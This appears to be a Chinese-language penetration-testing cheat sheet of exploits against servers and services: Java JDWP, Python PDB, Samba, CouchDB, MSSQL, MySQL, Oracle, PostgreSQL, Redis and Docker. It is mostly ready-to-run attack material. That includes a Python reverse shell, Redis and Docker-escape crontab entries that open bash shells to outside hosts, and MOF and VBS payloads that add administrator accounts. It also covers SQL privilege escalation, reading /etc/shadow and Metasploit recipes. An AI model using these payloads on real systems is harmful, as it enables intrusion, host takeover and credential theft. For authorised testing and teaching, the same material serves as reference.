Skip to content

Latest commit

 

History

History
1494 lines (1092 loc) · 57.1 KB

CS-Exploits.md

File metadata and controls

1494 lines (1092 loc) · 57.1 KB

C/S - Exploits


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲


资源


运维

Jmeter

Apache JMeter 是美国阿帕奇(Apache)软件基金会的一套使用 Java 语言编写的用于压力测试和性能测试的开源软件。

CVE-2018-1297 Jmeter RMI 反序列化命令执行漏洞


编程语言

Java

Java_RMI

jdwp

  • 简介

    JDWP 是 Java Debug Wire Protocol 的缩写,在 JPDA(Java Platform Debugger Architecture)中,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。

    与 PHP 的 Xdebug 类似,当其调试端口直接开放在公网上时,很容易被攻击者攻击并且获取系统权限。

  • 指纹

    • JDWP-Handshake
      telnet 端口后,输入命令 JDWP-Handshake
      如果返回 JDWP-Handshake,证明存在漏洞。
      
      jdb -attach IP:PORT
      
  • 文章

  • 工具

    • IOActive/jdwp-shellifier
      jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'touch /tmp/pwnd'
      
      jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'rm -f /var/run/yum.pid'
      jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'yum install -y nc'
      jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'ncat -v -l -p 7777 -e /bin/bash'
      
      jdwp-shellifier.py -t xx.xx.xx.xx -p 8000 --break-on java.lang.String.indexOf --cmd "bash -c {echo,  bash64的payload  } | {base64,-d} | {bash,-i}"
      
    • Lz1y/jdwp-shellifier - 修改利用方式为通过对 Sleeping 的线程发送单步执行事件,达成断点,从而可以直接获取上下文、执行命令,而不用等待断点被击中。

Python

Python_PDB

  • 相关文章

  • POC | Payload | exp

    telnet xxx.xxx.xxx.xxx 4444
    1
    w
    !1+1
    !import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    

Python PIL 远程命令执行漏洞(GhostButt)

Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509

  • 简介

    Google Project Zero 的 Tavis Ormandy 在 Ghostscript 中发现了一堆漏洞,其中一个是 CVE-2018-16509,这个漏洞允许利用 v9.24 之前的 Ghostscript 中的 -dSAFER 旁路,通过处理 PostScript 中失败的还原(grestore)来禁用 LockSafetyParams 并避免无效访问,从而执行任意命令。此漏洞可通过库,如 ImageMagick 或带有 Ghotscript 包装器的编程语言中的图像库(本例中的 PIL/Pillow)实现。

  • POC | Payload | exp

Python unpickle 造成任意命令执行漏洞


ruby

ruby-debug-ide


远程服务

Aria2

项目地址 : https://github.com/aria2/aria2

Aria2 任意文件写入漏洞

  • 简介

    Aria2 是一个命令行下轻量级、多协议、多来源的下载工具 (支持 HTTP/HTTPS、FTP、BitTorrent、Metalink) ,内建 XML-RPC 和 JSON-RPC 接口.在有权限的情况下,我们可以使用 RPC 接口来操作 aria2 来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞.

  • 文章


Shadowsocks

对 Shadowsocks stream ciphers 的重定向攻击


文件服务

FTP

Xlight FTP Server < 3.2.1 user 参数 SQL 注入漏洞

  • 简介

    在执行 ODBC 认证过程中 Xlight FTP Server 没有正确地过滤用户所提交的用户名和口令字段,远程攻击者可以用"OR ‘1’=’1’ ;#"替换用户名绕过认证登录到服务器.

  • POC | Payload | exp

    220 Xlight FTP Server 3.2 ready...
    User (server-4:(none)) : \' OR \'1\'=\'1\' ;#
    331 Password required for \' OR \'1\'=\'1\' ;#
    Password : type anything
    230 Login OK
    ftp&gt;

Serv-U FTP Server 目录遍历漏洞

NFS

文章

CVE-1999-0554 目标主机 showmount -e 信息泄露

  • POC | Payload | exp

    showmount -e <目标ip>
    mount -t nfs <目标ip>:/opt/applications/xxx_static_data  /mnt
  • MSF 模块

    use auxiliary/scanner/nfs/nfsmount
    set rhosts <目标ip>
    run

Rsync

未授权访问

Samba

Samba 是 Samba 团队开发的一套可使 UNIX 系列的操作系统与微软 Windows 操作系统的 SMB/CIFS 网络协议做连结的自由软件,它支持共享打印机、互相传输资料文件等。

CVE-2015-0240

  • 概述

    Samba 的 smbd 文件服务器守护进程中的 Netlogon 服务器实现过程中存在安全漏洞,该漏洞源于程序对未初始化的栈指针执行释放操作。远程攻击者可借助特制的 Netlogon 数据包利用该漏洞执行任意代码。以下版本受到影响:Samba 3.5.x 版本和 3.6.25 之前的 3.6.x 版本,4.0.25 之前的 4.0.x 版本,4.1.17 之前的 4.1.x 版本,4.2.0rc5 之前的 4.2.x 版本。

  • 文章

  • MSF 模块

    use auxiliary/scanner/smb/smb_uninit_cred
    set rhosts [ip]
    run

CVE-2017-7494

  • 概述

    Samba 允许连接一个远程的命名管道,并且在连接前会调用 is_known_pipename() 函数验证管道名称是否合法.在 is_known_pipename() 函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库.导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码.

    该漏洞要求的利用条件:

    • 拥有共享文件写入权限,如:匿名可写等
    • 需要知道共享目录的物理路径
  • 影响版本

    • Samba:4.6.5:::
    • Samba:4.6.3:::
    • Samba:4.6.2:::
    • Samba:4.6.1:::
    • Samba:4.6.0:::
  • 文章

  • POC | Payload | exp

  • MSF 模块

    use exploit/linux/samba/is_known_pipename
    set rhost [ip]
    set target 3
    run

数据库

CouchDB

Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱 web 的数据库"。它是一个使用JSON作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序).

未授权访问漏洞

  • 概述

    默认会在 5984 端口开放 Restful 的 API 接口,如果使用 SSL 的话就会监听在 6984 端口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在 0.0.0.0,所有用户均可通过 API 访问导致未授权访问。

    在官方配置文档中对 HTTP Server 的配置有 WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

  • 利用

    http://[ip]:5984/_utils/

    curl http://[ip]:5984

    curl http://[ip]:5984/_config

CVE-2017-12635 垂直权限绕过漏洞

  • 概述

    CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

  • 影响版本

    • 小于 1.7.0 以及 小于 2.1.1
  • POC | Payload | exp

    来源 : Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: your-ip:5984
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 108
    
    {
    "type": "user",
    "name": "vulhub",
    "roles": ["_admin"],
    "roles": [],
    "password": "vulhub"
    }
    

CVE-2017-12636 任意命令执行漏洞

  • 概述

    CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。

  • 影响版本

    • 小于 1.7.0 以及 小于 2.1.1
  • POC | Payload | exp

memcached

Memcached 是一套常用的 key-value 分布式高速缓存系统

未授权访问漏洞

  • 概述

    由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的 Memcache 服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached 中的敏感信息。

  • POC | Payload | exp

    telnet [ip] 11211

    nc -vv [ip] 11211

    stats           # 查看 memcache 服务状态
    stats items     # 查看所有 items
    set aaa 0 10 9  # 存个 aaa 值
    memcached
    
    get aaa         # 读这个值

MSSQL

注入

教程

文章

MSSQL提权

SA 提权

  1. 判断扩展存储是否存在:

    select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'
    select count(*) from master.dbo.sysobjects where name='xp_regread'
    恢复:
    exec sp_dropextendedproc 'xp_cmdshell'
    exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;(SQL2005)
    
  2. 列目录:

    exec master..xp_cmdshell 'ver'
    (or) exec master..xp_dirtree 'c:\',1,1
    (or) drop table black
    create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--
    insert into black exec master..xp_cmdshell 'dir c:\'
    select top 1 mulu from black where id=1
    xp_cmdshell 被删除时,可以用(5.a)开启沙盒模式,然后(5.b)方法提权
    
  3. 备份启动项:

    alter database [master] set RECOVERY FULL
    create table cmd (a image)
    backup log [master] to disk = 'c:\cmd1' with init
    insert into cmd (a) values (0x(batcode))
    backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'
    drop table cmd
    
  4. 映像劫持

    xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'

  5. 沙盒模式提权:

    a : exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet�.0\Engines','SandBoxMode','REG_DWORD',0; # 关闭沙盒模式

    b : Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user mstlab mstlab /add")'); #or c:\windows\system32\ias\dnary.mdb string 类型用此. 开启 OpenRowSet:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

  6. xp_regwrite 操作注册表

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion un','black','REG_SZ','net user test test /add'

    开启 xp_oacreate : exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;


Mysql

MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL[是一种关联数据库管理系统],关联数据库[将数据保存在不同的表中],而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。[MySQL 的 SQL 语言是用于访问数据库的最常用标准化语言]。MySQL 软件[采用了双授权政策],它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。

注入

MySQL 文件读

MSF 爆破

use auxiliary/scanner/mysql/mysql_login
set RHOSTS [IP]
set USER_FILE [用户名字典]
set PASS_FILE [密码字典]
set STOP_ON_SUCCESS true
set THREADS 20
exploit

MSF 上传文件执行

use exploit/windows/mysql/scrutinizer_upload_exec
set RHOST [ip]
set USERNAME [user]
set PASSWORD [pass]
set payload windows/meterpreter/bind_tcp
set RHOST [ip]
set LPORT 4444
exploit

MSF 获取 mysql.user 的 hash

use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS [ip]
set USERNAME [user]
set PASSWORD [pass]
set THREADS 20
exploit

CVE-2012-2122 Mysql 身份认证绕过漏洞

  • 简介

    当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。

  • POC | Payload | exp

    for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
    

CVE-2012-5615 Oracle MySQL Server 5.5.19 用户名枚举漏洞

Mysql提权

文章

UDF 提权

MOF 提权

MOF提权的条件要求十分严苛:

  1. windows 03 及以下版本
  2. mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
  3. secure-file-priv 参数不为 null
#pragma namespace("\\.\root\subscription")

instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = ;
Filter = ;
};
  1. 保存为 1.mof,然后 mysql 执行:select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
  2. mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.

关于 Mof 提权的弊端

我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用.那么我们如何删掉我们的入侵账号呢?

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
  • MSF 模块
    use exploit/windows/mysql/mysql_mof
    set RHOSTS [ip]
    set USERNAME [user]
    set PASSWORD [pass]
    set payload windows/meterpreter/bind_tcp
    set RHOST [ip]
    set LPORT 4444
    exploit

启动项提权

在前两种方法都失败时,那可以试一下启动项提权..因为要求达到的条件和 mof 几乎一样,并且要重启服务,所以不是十分推荐.原理还是使用 mysql 写文件,写入一段 VBS 代码到开机自启动中,服务器重启达到创建用户并提权,可以使用 DDOS 迫使服务器重启.

提权条件

  1. file_priv 不为 null
  2. 已知 root 密码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

Oracle

Oracle Database Server 是美国甲骨文(Oracle)公司的一套关系数据库管理系统。该数据库管理系统提供数据管理、分布式处理等功能。

版本号

  • oracle 版本号是真的乱,Oracle 数据库版本号请看维基百科 Oracle Database

注入

Tips

  • scott 用户默认没有启用
  • 可以用 oracle 的账号试试 ssh 的爆破

相关文章

相关渗透工具

  • jas502n/oracleShell - oracle 数据库命令执行工具,支持连接的 Oracle 版本较低
  • quentinhardy/odat - Oracle 数据库攻击工具,支持功能包括爆破 SID,提权,命令执行
    # 安装
    apt install -y libaio1 alien
    apt install -y python3-scapy
    pip3 install colorlog termcolor pycrypto passlib cx_Oracle pyinstaller
    pip3 install argcomplete && activate-global-python-argcomplete
    git clone https://github.com/quentinhardy/odat.git
    
    # 访问 https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html 下载 rpm 包
    alien --to-deb oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm
    dpkg -i oracle-instantclient19.6-basic_19.6.0.0.0-2_amd64.deb
    export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
    export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
    export PATH=${ORACLE_HOME}bin:$PATH
    
    sudo -s
    sources /etc/profile
    python3 -c 'import cx_Oracle'
    python3 odat.py -h
    python3 odat.py all -s 192.168.1.254 -p 1521
    python3 odat.py all -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234
    
    # 信息收集
    python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --ping
    python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --version
    python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --status
    
    # 写文件
    echo "Hacked By Gerh" > /tmp/File-Test.txt
    python3 odat.py dbmsxslprocessor -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234 --putFile "/tmp" "File-Test.txt" "/tmp/File-Test.txt"

MSF 爆破

use admin/oracle/oracle_login
set RHOSTS [IP]
set SID [SID]
run

CVE-2010-3600 Oracle Enterprise Manager Grid Control JSP 代码执行漏洞

  • 简介

    Oracle Database Server 11.1.0.7 和 11.2.0.1 版本,以及 Enterprise Manager Grid Control 10.2.0.5 版本的 Client System Analyzer 组件中存在未明漏洞。远程攻击者可借助未知向量影响机密性、完整性和可用性。

  • 影响版本

    • Oracle:Enterprise_manager_grid_control:10.2.0.5:::
    • Oracle:Database_server:11.1.0.7:::
    • Oracle:Database_server:11.2.0.1:::
  • MSF 模块

    use exploit/windows/oracle/client_system_analyzer_upload

CVE-2012-1675 Oracle TNS Listener Remote Poisoning

  • 简介

    Oracle Database Server 在实现上存在可允许攻击者向远程“TNS Listener”组件处理的数据投毒的漏洞。攻击者可利用此漏洞将数据库服务器的合法“TNS Listener”组件中的数据转向到攻击者控制的系统,导致控制远程组件的数据库实例,造成组件和合法数据库之间的攻击者攻击、会话劫持或拒绝服务攻击。

  • 影响版本

    • Oracle:Database_server:11.2.0.4:::
    • Oracle:Database_server:11.2.0.3:::
    • Oracle:Database_server:11.2.0.2:::
    • Oracle:Database_server:11.1.0.7:::
    • Oracle:Database_server:10.2.0.5:::
  • 文章

  • MSF 模块

    use auxiliary/admin/oracle/tnscmd       # 该漏洞可以远程获取到 oracle 的内存信息,若是能获取到内存中的数据即为存在漏洞.
    set rhosts [ip]
    run
    
    use auxiliary/admin/oracle/sid_brute    # 爆破 oracle 的 SID
    set rhosts [ip]
    run

OrientDB

OrientDB 是英国 Orient 公司一套开源的 NoSQL 数据库管理系统。该系统支持 ACID 事务、快速索引和 SQL 查询等功能。

CVE-2017-11467


PostgreSQL

工具

CVE-2018-1058 PostgreSQL 提权漏洞

  • 概述

    PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

  • POC | Payload | exp

CVE-2019-9193 PostgreSQL 高权限命令执行漏洞

  • 概述

    PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

  • 文章

  • POC | Payload | exp

    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'id';
    SELECT * FROM cmd_exec;
    

Redis

文章

未授权访问漏洞

  • 概述

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器、添加计划任务、写入 Webshell 等操作。

  • 文章

  • 搭建环境

    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    tar xzf redis-3.2.0.tar.gz
    cd redis-3.2.0
    make
    vim redis.conf
    
    # bind 127.0.0.1
    protected-mode no
    ./src/redis-server redis.conf
  • 利用

    redis-cli -h <目标IP>
    > info   # 查看 redis 版本信息、一些具体信息、服务器版本信息等等:
    > CONFIG GET dir # 获取默认的 redis 目录
    > CONFIG GET dbfilename # 获取默认的 rdb 文件名

    利用计划任务执行命令反弹 shell

    在 redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell 先在自己的服务器上监听一个端口 nc -lvnp 7999 然后执行命令:

    > config set dir /var/spool/cron
    > set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.1/7999 0>&1\n\n\n"
    > set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.72.129/7999 0<&1 2>&1\n"
    > config set dbfilename root
    > save

    写 ssh-keygen 公钥然后使用私钥登陆

    在以下条件下,可以利用此方法

    1. Redis 服务使用 ROOT 账号启动
    2. 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器.

    首先在本地生成一对密钥 ssh-keygen -t rsa 然后执行命令:

    # 将公钥的内容写到一个文本中命令如下
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
    
    # 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下
    cat test.txt | redis -cli -h <hostname> -x set test
    redis-cli -h <hostname>
    keys *
    get test
    config set dir "/root/.ssh"
    config set dbfilename "authorized_keys"
    save

    保存后可以直接利用公钥登录 ssh

    往 web 物理路径写 webshell

    当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell,执行以下命令

    > config set dir /var/www/html/
    > config set dbfilename shell.php
    > set x "<?php phpinfo();?>"
    > save

    即可将 shell 写入 web 目录(web 目录根据实际情况)

主从复制远程代码执行漏洞

Lua RCE


容器 & 虚拟化

检测虚拟机

  • windows

    cmd : systeminfo

    Powershell : get-wmiobject win32_computersystem | fl model

  • linux

    lshw -class system | grep -i VM & grep -i virtual
    dmesg | grep -i VM & grep -i virtual
    dmidecode -s system-product-name
    ls /tmp
    systemd-detect-virt
    virt-what
    ls -alh /.dockerenv
    cat /proc/1/cgroup
    

Citrix_Receiver

注意一下 1494 和 2598 端口

文章


Docker

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台 Docker。

相关文章

相关工具

  • cdk-team/CDK - 款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

相关案例

Docker 逃逸


由系统漏洞引起

Dirty COW(CVE-2016-5195)

  • 概述

    通过 Dirty Cow 漏洞,结合 EXP,就可以返回一个宿主机的高权限 Shell,并拿到宿主机的 root 权限,可以直接操作宿主机的文件。

    VDSO(virtual dvnamic shared object) : 这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间。

    • 举个例子:gettimeofday 是一个获取当前时间的函数,它经常被用户的程序调用,如果一个程序需要知道当前的时间,程序就会频繁的轮询。为了减少资源开销,内核需要把它放在一个所有进程都能访问的内存位置,然后通过 VDSO 定义一个功能来共享这个对象,让进程来访问此信息。通过这种方式,调用的时间和资源花销就大大的降低了,速度也就变得更快。
    • 那么如何利用 VDSO 来实现 Docker 逃逸的?首先 POC 利用 Dirty Cow 漏洞,将 Payload 写到 VDSO 中的一些闲置内存中,并改变函数的执行顺序,使得在执行正常函数之前调用这个 Shellcode。Shellcode 初始化时会检测是否被 root 所调用,如果调用,则继续执行,如果没有调用则返回,并执行 clock_gettime 函数,接下来它会检测 /tmp/.X 文件的存在,如果存在,则这时已经是 root 权限了,然后它会打开一个反向的 TCP 链接,为 Shellcode 中填写的 ip 返回一个 Shell,漏洞就这样产生了。
  • https://www.ichunqiu.com/experiment/detail?id=100297&source=2

CVE-2018-18955


由配置不当引起

前提

  • root 权限启动 docker
  • 主机上有镜像,或自己下载镜像
  • API 版本大于 1.5

docker.sock 挂载到容器内部

  • 概述

    Docker 采用 C/S 架构,我们平常使用的 Docker 命令中,docker 即为 client,Server 端的角色由 docker daemon 扮演,二者之间通信方式有以下3种:

    1. unix:///var/run/docker.sock
    2. tcp://host:port
    3. fd://socketfd

    其中使用 docker.sock 进行通信为默认方式,当容器中进程需在生产过程中与 Docker 守护进程通信时,容器本身需要挂载 /var/run/docker.sock 文件。

    本质上而言,能够访问 docker socket 或连接 HTTPS API 的进程可以执行 Docker 服务能够运行的任意命令,以 root 权限运行的 Docker 服务通常可以访问整个主机系统。

    因此,当容器访问 docker socket 时,我们可通过与 docker daemonv 的通信对其进行恶意操纵完成逃逸。若容器A可以访问 docker socket,我们便可在其内部安装 client(docker),通过 docker.sock 与宿主机的 server(docker daemon)进行交互,运行并切换至不安全的容器 B,最终在容器 B 中控制宿主机。

  1. 首先运行一个挂载 /var/run/ 的容器

    docker pull ubuntu:18.04
    docker run -it -v /var/run/:/host/var/run/ ubuntu:18.04 /bin/bash
  2. 寻找下挂载的 sock 文件

    find / -name docker.sock
  3. 在容器内安装 Docker 作为 client

    echo "deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" > /etc/apt/sources.list
    echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse" >> /etc/apt/sources.list
    echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse" >> /etc/apt/sources.list
    apt-get update
    apt-get install -y docker.io vim
    
    echo "nameserver 114.114.114.114" > /etc/resolv.conf
  4. 查看宿主机 docker 信息

    docker -H unix:///host/var/run/docker.sock info
  5. 运行一个新容器并挂载宿主机根路径

    docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
  6. 在新容器 /aa 路径下完成对宿主机资源的访问,写入计划任务文件,反弹 shell

    cd /aa
    ls
    echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /aa/var/spool/cron/root

    成功接收到宿主机反弹的 shell

privileged 特权模式

  • 概述

    特权模式于版本 0.6 时被引入 Docker,允许容器内的 root 拥有外部物理机 root 权限,而此前容器内 root 用户仅拥有外部物理机普通用户权限。

    使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run --privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。

    当控制使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

  1. 首先以特权模式运行一个 docker 容器

    docker run -it --privileged=true ubuntu /bin/bash
  2. 查看磁盘文件

    fdisk -l
  3. dm-0 存在于 /dev 目录下,新建一个目录,将 /dev/dm-0 挂载至新建的目录

    mkdir /aaa
    mount /dev/dm-0 /aaa
  4. 写入计划任务到宿主机

    echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /aaa/var/spool/cron/root

capability SYS_ADMIN

  • 前提

    • 在容器内 root 用户
    • 容器必须使用 SYS_ADMIN Linux capability 运行
    • 容器必须缺少 AppArmor 配置文件,否则将允许 mount syscall
    • cgroup v1 虚拟文件系统必须以读写方式安装在容器内部
  • 概述

    我们需要一个 cgroup,可以在其中写入 notify_on_release 文件(for enable cgroup notifications),挂载 cgroup 控制器并创建子 cgroup,创建 /bin/sh 进程并将其 PID 写入 cgroup.procs 文件,sh 退出后执行release_agent 文件。

  1. 主机使用 SYS_ADMIN Linux capability 运行一个 docker 容器

    docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu /bin/bash
  2. 挂载 cgroup 控制器并创建子 cgroup

    mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

    注:如果这里报错"mount: /tmp/cgrp: special device cgroup does not exist.",将 rdma 改为 memory

  3. 创建 /bin/sh 进程并将其 PID 写入 cgroup.procs 文件,sh 退出后执行 release_agent 文件。

    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    
    cat /tmp/cgrp/release_agent
    
    echo '#!/bin/sh' > /cmd
    echo "ls > $host_path/output" >> /cmd
    chmod a+x /cmd
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    head /output

Docker Remote API 未授权访问漏洞

  • 概述

    Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API。存在问题的版本分别为 1.3 和 1.6 因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

  • 文章

  • POC | Payload | exp

    • http://[ip]:2375/version
      docker -H tcp://[IP]:2375 version
      docker -H tcp://[IP]:2375 ps
      
      docker -H tcp://[IP] run -it --privileged=true busybox sh
      fdisk -l
      mkdir /aaa
      mount /dev/dm-0 /aaa
      
      或
      
      docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt busybox sh
      cd /mnt
      ls
      
      或
      
      docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
      cat /mnt/etc/shadow
      chroot /mnt
    • netxfly/docker-remote-api-exp
    • Tycx2ry/docker_api_vul
    • docker daemon api 未授权访问漏洞
      import docker
      
